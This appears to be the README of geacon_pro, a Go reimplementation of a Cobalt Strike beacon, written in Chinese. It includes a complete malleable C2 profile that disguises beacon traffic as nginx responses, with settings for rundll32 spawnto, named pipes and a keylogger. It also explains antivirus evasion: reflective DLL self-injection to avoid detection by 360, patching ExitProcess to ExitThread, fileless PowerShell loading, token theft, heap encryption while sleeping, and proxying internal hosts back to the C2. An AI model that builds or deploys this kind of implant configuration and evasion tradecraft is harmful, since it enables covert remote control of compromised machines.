| 由于要规避杀软对fork&&run的检测,暂时令反射型dll注入注入到自身进程中,暂时拿不到回显,请师傅们注意,如果师傅们对如何从CreateThread中拿回显有想法请联系我。 | ||||
| 
 | ||||
| 目前由于对其他进程进行反射型dll注入有一些问题,目前无论将反射型dll注入到哪个进程都默认为注入到自身进程,请师傅们注意。 | ||||
| 
 | ||||
| 若想再派生一个会话的话,不建议使用spawn,因为spawn派生的是原生cs的beacon,并且为了规避杀软对fork&&run的检测,目前spawn是注入了自身,建议直接用run或者execute执行geacon_pro.exe。 | ||||
| 
 | ||||
| ### linux和mac平台支持的功能: | ||||
| sleep、shell、upload、download、exit、cd、pwd、file_browse、ps、kill、getuid、mkdir、rm、cp、mv、自删除 | ||||
| 后续会添加linux与mac平台下后渗透功能 | ||||
| 
 | ||||
| 进程管理部分、文件管理部分支持图形化交互 | ||||
| 
 | ||||
| ### C2profile: | ||||
| 
 | ||||
| 适配了C2profile流量侧的设置与部分主机侧的设置,支持的算法有base64、base64url、mask、netbios、netbiosu、详情见config.go,这里给出示例C2profile,修改完C2profile后请不要忘记在config.go中对相应位置进行修改: | ||||
| ``` | ||||
| # default sleep time is 60s | ||||
| set sleeptime "3000"; | ||||
| 
 | ||||
| https-certificate { | ||||
|     set C "KZ"; | ||||
|     set CN "foren.zik"; | ||||
|     set O "NN Fern Sub"; | ||||
|     set OU "NN Fern"; | ||||
|     set ST "KZ"; | ||||
|     set validity "365"; | ||||
| } | ||||
| 
 | ||||
| # define indicators for an HTTP GET | ||||
| http-get { | ||||
| 
 | ||||
| 	set uri "/www/handle/doc"; | ||||
| 
 | ||||
| 	client { | ||||
| 		#header "Host" "aliyun.com"; | ||||
| 		# base64 encode session metadata and store it in the Cookie header. | ||||
| 		metadata { | ||||
| 			base64url; | ||||
| 			prepend "SESSIONID="; | ||||
| 			header "Cookie"; | ||||
| 		} | ||||
| 	} | ||||
| 
 | ||||
| 	server { | ||||
| 		# server should send output with no changes | ||||
| 		#header "Content-Type" "application/octet-stream"; | ||||
| 		header "Server" "nginx/1.10.3 (Ubuntu)"; | ||||
|     		header "Content-Type" "application/octet-stream"; | ||||
|         	header "Connection" "keep-alive"; | ||||
|         	header "Vary" "Accept"; | ||||
|         	header "Pragma" "public"; | ||||
|         	header "Expires" "0"; | ||||
|         	header "Cache-Control" "must-revalidate, post-check=0, pre-check=0"; | ||||
| 
 | ||||
| 		output { | ||||
| 			mask; | ||||
| 			netbios; | ||||
| 			prepend "data="; | ||||
| 			append "%%"; | ||||
| 			print; | ||||
| 		} | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| # define indicators for an HTTP  | ||||
| http-post { | ||||
| 	# Same as above, Beacon will randomly choose from this pool of URIs [if multiple URIs are provided] | ||||
| 	set uri "/IMXo"; | ||||
| 	client { | ||||
| 		#header "Content-Type" "application/octet-stream";				 | ||||
| 
 | ||||
| 		# transmit our session identifier as /submit.php?id=[identifier] | ||||
| 		 | ||||
| 		id {				 | ||||
| 			mask; | ||||
| 			netbiosu; | ||||
| 			prepend "user="; | ||||
| 			append "%%"; | ||||
| 			header "User"; | ||||
| 		} | ||||
| 
 | ||||
| 		# post our output with no real changes | ||||
| 		output { | ||||
| 			mask; | ||||
| 			base64url; | ||||
| 			prepend "data="; | ||||
| 			append "%%";		 | ||||
| 			print; | ||||
| 		} | ||||
| 	} | ||||
| 
 | ||||
| 	# The server's response to our HTTP POST | ||||
| 	server { | ||||
| 		header "Server" "nginx/1.10.3 (Ubuntu)"; | ||||
|     		header "Content-Type" "application/octet-stream"; | ||||
|         	header "Connection" "keep-alive"; | ||||
|        	 	header "Vary" "Accept"; | ||||
|         	header "Pragma" "public"; | ||||
|         	header "Expires" "0"; | ||||
|         	header "Cache-Control" "must-revalidate, post-check=0, pre-check=0"; | ||||
| 
 | ||||
| 		# this will just print an empty string, meh... | ||||
| 		output { | ||||
| 			mask; | ||||
| 			netbios; | ||||
| 			prepend "data="; | ||||
| 			append "%%"; | ||||
| 			print; | ||||
| 		} | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| post-ex { | ||||
|     set spawnto_x86 "c:\\windows\\syswow64\\rundll32.exe"; | ||||
|     set spawnto_x64 "c:\\windows\\system32\\rundll32.exe"; | ||||
|      | ||||
|     set thread_hint "ntdll.dll!RtlUserThreadStart+0x1000"; | ||||
|     set pipename "DserNamePipe##, PGMessagePipe##, MsFteWds##"; | ||||
|     set keylogger "SetWindowsHookEx"; | ||||
| } | ||||
| 
 | ||||
| ``` | ||||
| 
 | ||||
| ### 目前需要改进的地方: | ||||
| * ~~dllinject的BUG(正在修改中)~~ | ||||
| * 堆内存加密目前不稳定,暂未正式使用 | ||||
| * ~~修改部分功能下中文乱码的问题~~ | ||||
| * ~~部分功能暂未支持x86系统(最近太忙了,会尽快改出来)~~ | ||||
| 
 | ||||
| ### 未来打算做的: | ||||
| * 适配更多功能 | ||||
| * 集成免杀工具 | ||||
| * 增加Linux和Mac平台下后渗透功能 | ||||
| * 增加代码混淆 | ||||
| * hook服务端jar包类似冰蝎4.0让用户自定义流量加密特征 | ||||
| * 增加混淆的流量 | ||||
| 
 | ||||
| ### 主体代码结构 | ||||
| #### config | ||||
| * 公钥、C2服务器地址、https通信、超时的时间、代理等设置 | ||||
| * C2profile设置 | ||||
| #### crypt | ||||
| * 通信需要的AES、RSA加密算法 | ||||
| * C2profile中加密算法的实现 | ||||
| #### packet | ||||
| * commands为各个平台下部分功能的实现 | ||||
| * execute_assembly为windows平台下内存执行不落地c#的代码 | ||||
| * heap为windows平台下堆内存加密代码 | ||||
| * http为发包的代码 | ||||
| * inject为windows平台下进程注入的代码 | ||||
| * jobs为windows平台下注入cs原生反射型dll并管道回传的代码 | ||||
| * packet为通信所需的部分功能 | ||||
| * token为windows平台下令牌相关的功能 | ||||
| #### services | ||||
| 对packet里面的功能进行了跨平台封装,方便main.go调用 | ||||
| #### sysinfo | ||||
| * meta为元信息的处理 | ||||
| * sysinfo为不同平台下有关进程与系统的判断及处理 | ||||
| #### main.go | ||||
| 主方法对各个命令进行了解析与执行,以及对结果和错误进行了返回 | ||||
| 
 | ||||
| ## 部分功能的实现细节 | ||||
| ### shell | ||||
| shell之前直接调用了golang的os/exec库,现在更改为底层CreateProcess的实现,与run的区别仅在于shell调用了cmd。 | ||||
| 
 | ||||
| ### run && execute | ||||
| run和execute的区别在于,run可以返回执行的结果而execute无回显。底层的实现差别就在于run会通过管道回传执行的结果而execute不会。 | ||||
| 
 | ||||
| shell、run和execute的实现在没有窃取令牌的时候调用了CreateProcess,窃取令牌后调用CreateProcessWithTokenW以令牌权限来执行命令。 | ||||
| ### powershell-import | ||||
| powershell-import部分的实现与cs的思路一样,先把输入的powershell module保存,之后在执行powershell命令的时候本地开一个端口并把module放上去,powershell直接请求该端口进行不落地的powershell module加载,不落地加载powershell module可以对部分杀软进行绕过。 | ||||
| 
 | ||||
| ### powershell | ||||
| powershell命令直接调用了powershell,会被360监控,可以尝试用免杀的方式执行。 | ||||
| 
 | ||||
| ### execute-assembly | ||||
| execute-assembly的实现与cs原生的实现不太一样,cs的beacon从服务端接收的内容的主体部分是c#的程序以及开.net环境的dll。cs的beacon首先拉起来一个进程(默认是rundll32),之后把用来开环境的dll注入到该进程中,然后将c#的程序注入到该进程并执行。考虑到步骤过于繁琐,并且容易拿不到执行的结果,我这里直接用[该项目](https://github.com/timwhitez/Doge-CLRLoad)实现了execute-assembly的功能,但未对全版本windows进行测试。 | ||||
| 
 | ||||
| ### 进程注入 | ||||
| 进程注入shinject和dllinject采用的是remote注入。 | ||||
| 
 | ||||
| **目前dllinject只支持注入自身的进程,shinject若注入到其他的进程的话要注意杀软对远程线程注入的检测。** | ||||
| 
 | ||||
| 不过如果想执行自己的shellcode的话建议用shspawn,在当前实现中shspawn会注入geacon_pro本身,因此不会被杀软报远程线程注入。 | ||||
| 
 | ||||
| ### 反射型dll注入 | ||||
| cs原生反射型dll注入的思路是先拉起来一个rundll32进程,之后把dll注进去执行,但是会被360核晶报远程线程注入。我尝试使用了native或者unhook等方法均失败,最后发现了将dll注入自己是不会被查杀的,因此考虑将cs的fork&run的方式改为注入自己的方式。 | ||||
| 由于cs是fork&&run的形式,因此部分dll在结束的时候要执行ExitProcess。 | ||||
| 
 | ||||
|  | ||||
| 
 | ||||
| 但是我们注入自己的话就会把木马主线程退出,因此需要对下发的dll进行简单的修改,将dll中的ExitProcess字符串替换为ExitThread+\x00即可。 | ||||
| 
 | ||||
| dll通过管道将结果异步地回传给服务端。目前的dll反射注入采用了注入自己的方法,后续会实现用户可通过配置文件进行注入方式的更改。 | ||||
| 
 | ||||
| ### 令牌 | ||||
| 令牌的部分目前实现了令牌的窃取、还原、制作。 | ||||
| 
 | ||||
| ### 上线内网不出网主机 | ||||
| 考虑到渗透中常常存在着内网主机上线的情况,即边缘主机出网,内网主机不出网的情况。目前实现的木马暂不支持代理转发的功能,但是可以通过设置config.go中的proxy参数,通过边缘主机的代理进行木马的上线。即如果在边缘主机的8080端口开了个http代理,那么在config.go中设置ProxyOn为true,Proxy为`http://ip:8080`即可令内网的木马上线我们的C2服务器。 | ||||
| 
 | ||||
| ### 堆内存加密 | ||||
| 堆内存加密的方法实现参考了[该文章](https://cloud.tencent.com/developer/article/1949555) 。在sleep之前先将除主线程之外的线程挂起,之后遍历堆对堆内存进行加密。sleep结束后解密并将线程恢复。不过该功能较为不稳定,有时在进行堆遍历的时候会突然卡住或者直接退出,并且考虑到后台可能会有keylogger或portscan这种的持久任务,将线程全部挂起有些不合适,如果有师傅有好的想法欢迎来讨论。同时我不太理解为什么go的time.Sleep函数在其他线程都挂起之后调用会一直沉睡,而调用windows.SleepEx就不会有问题,还望师傅们解答。 | ||||
| 
 | ||||
| ### 字符集 | ||||
| 由于golang默认对UTF-8进行处理,因此我们对协议协商的字符集进行了统一,windows、linux、mac平台下均为UTF-8,然后将部分返回格式为GBK的数据转为UTF之后再回传,避免了中文乱码问题。 | ||||
| 
 | ||||
| 
 | ||||
| 
 | ||||
| <!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b--> | ||||
| ## 项目相关 | ||||
| 
 | ||||
| 
 | ||||
| ## 最近更新 | ||||
| 
 | ||||
| <!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527--> | ||||
					Loading…
					
					
				
		Reference in new issue